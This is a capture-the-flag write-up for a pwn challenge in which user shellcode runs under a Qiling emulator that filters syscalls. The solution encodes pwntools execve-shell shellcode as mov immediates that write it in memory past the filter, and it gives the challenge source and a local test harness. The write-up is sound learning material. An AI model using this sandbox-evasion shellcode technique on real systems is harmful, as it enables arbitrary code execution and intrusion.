Tags: pwn qiling
Rating:
The previous writeup [https://ctftime.org/writeup/31092](https://ctftime.org/writeup/31092) is poorly explained, so I tried and wrote it again. Also no need for `mov rax, rsp` instruction at the end.
# Solution
```python
from pwn import *
context.arch="amd64"
shellcode_bytes = asm(shellcraft.sh())
print(len(shellcode_bytes)) # it is 48 so we use 6 registers to mov
shellcode_bytes_unpacked=[]
for offset in range(0,len(shellcode_bytes),8):
# unpack bytes to use in mov instructions
shellcode_bytes_unpacked.append(u64(shellcode_bytes[offset:offset+8]))
sc=f"""
mov rbx, {shellcode_bytes_unpacked[0]}
mov rcx, {shellcode_bytes_unpacked[1]}
mov rdx, {shellcode_bytes_unpacked[2]}
mov rsi, {shellcode_bytes_unpacked[3]}
mov rdi, {shellcode_bytes_unpacked[4]}
mov r9, {shellcode_bytes_unpacked[5]}
lea rax, [rip+rip_offset_label]
mov QWORD PTR [rax], rbx
mov QWORD PTR [rax+0x8], rcx
mov QWORD PTR [rax+0x10], rdx
mov QWORD PTR [rax+0x18], rsi
mov QWORD PTR [rax+0x20], rdi
mov QWORD PTR [rax+0x28], r9
rip_offset_label:
"""
inp = asm(sc).hex()
print(inp)
```
# Code given in the challenge
```python
#!/usr/bin/env python3
import qiling
import pwn
import subprocess
import capstone.x86_const
pwn.context.arch = "amd64"
dump = []
def code_hook(ql, address, size):
global dump
buf = ql.mem.read(address, size)
for i in md.disasm(buf, address):
allowed_syscalls = {1, 0x3c}
if (
capstone.x86_const.X86_GRP_INT in i.groups
and ql.reg.eax not in allowed_syscalls
):
print(f"[-] syscall = {hex(ql.reg.eax)}")
raise ValueError("HACKING DETECTED!")
ignored_groups = {
capstone.x86_const.X86_GRP_JUMP,
capstone.x86_const.X86_GRP_CALL,
capstone.x86_const.X86_GRP_RET,
capstone.x86_const.X86_GRP_IRET,
capstone.x86_const.X86_GRP_BRANCH_RELATIVE,
}
ignore = len(set(i.groups) & ignored_groups) > 0
print(
f"[{' ' if ignore else '+'}] {hex(i.address)}: {i.mnemonic} {i.op_str}"
)
if not ignore:
dump.append(bytes(i.bytes))
inp = input("Enter code in hex:\n")
code = bytes.fromhex(inp)
ql = qiling.Qiling(
code=code,
rootfs="/",
ostype="linux",
archtype="x8664",
)
ql.hook_code(code_hook)
md = ql.create_disassembler()
md.detail = True
ql.run()
print("[+] Your program has been flattened! Executing ...")
new_code = b"".join(dump)
filename = pwn.make_elf(new_code, extract=False, vma=0x11FF000)
subprocess.run([filename])
```
# To try locally
```python
#!/usr/bin/env python3
import qiling
import pwn
import subprocess
import capstone.x86_const
pwn.context.arch = "amd64"
dump = []
def code_hook(ql, address, size):
global dump
buf = ql.mem.read(address, size)
for i in md.disasm(buf, address):
allowed_syscalls = {1, 0x3c}
if (
capstone.x86_const.X86_GRP_INT in i.groups
and ql.reg.eax not in allowed_syscalls
):
print(f"[-] syscall = {hex(ql.reg.eax)}")
raise ValueError("HACKING DETECTED!")
ignored_groups = {
capstone.x86_const.X86_GRP_JUMP,
capstone.x86_const.X86_GRP_CALL,
capstone.x86_const.X86_GRP_RET,
capstone.x86_const.X86_GRP_IRET,
capstone.x86_const.X86_GRP_BRANCH_RELATIVE,
}
ignore = len(set(i.groups) & ignored_groups) > 0
print(
f"[{' ' if ignore else '+'}] {hex(i.address)}: {i.mnemonic} {i.op_str}"
)
if not ignore:
dump.append(bytes(i.bytes))
#inp = input("Enter code in hex:\n")
from pwn import *
context.arch="amd64"
shellcode_bytes = asm(shellcraft.sh())
print(len(shellcode_bytes)) # it is 48 so we use 6 registers to mov
shellcode_bytes_unpacked=[]
for offset in range(0,len(shellcode_bytes),8):
# unpack bytes to use in mov instructions
shellcode_bytes_unpacked.append(u64(shellcode_bytes[offset:offset+8]))
sc=f"""
mov rbx, {shellcode_bytes_unpacked[0]}
mov rcx, {shellcode_bytes_unpacked[1]}
mov rdx, {shellcode_bytes_unpacked[2]}
mov rsi, {shellcode_bytes_unpacked[3]}
mov rdi, {shellcode_bytes_unpacked[4]}
mov r9, {shellcode_bytes_unpacked[5]}
lea rax, [rip+rip_offset_label]
mov QWORD PTR [rax], rbx
mov QWORD PTR [rax+0x8], rcx
mov QWORD PTR [rax+0x10], rdx
mov QWORD PTR [rax+0x18], rsi
mov QWORD PTR [rax+0x20], rdi
mov QWORD PTR [rax+0x28], r9
rip_offset_label:
"""
inp = asm(sc).hex()
code = bytes.fromhex(inp)
ql = qiling.Qiling(
code=code,
rootfs="/",
ostype="linux",
archtype="x8664",
)
ql.hook_code(code_hook)
md = ql.create_disassembler()
md.detail = True
ql.run()
print("[+] Your program has been flattened! Executing ...")
new_code = b"".join(dump)
filename = pwn.make_elf(new_code, extract=False, vma=0x11FF000)
import os
os.system(f"cp {filename} .")
subprocess.run([filename])
````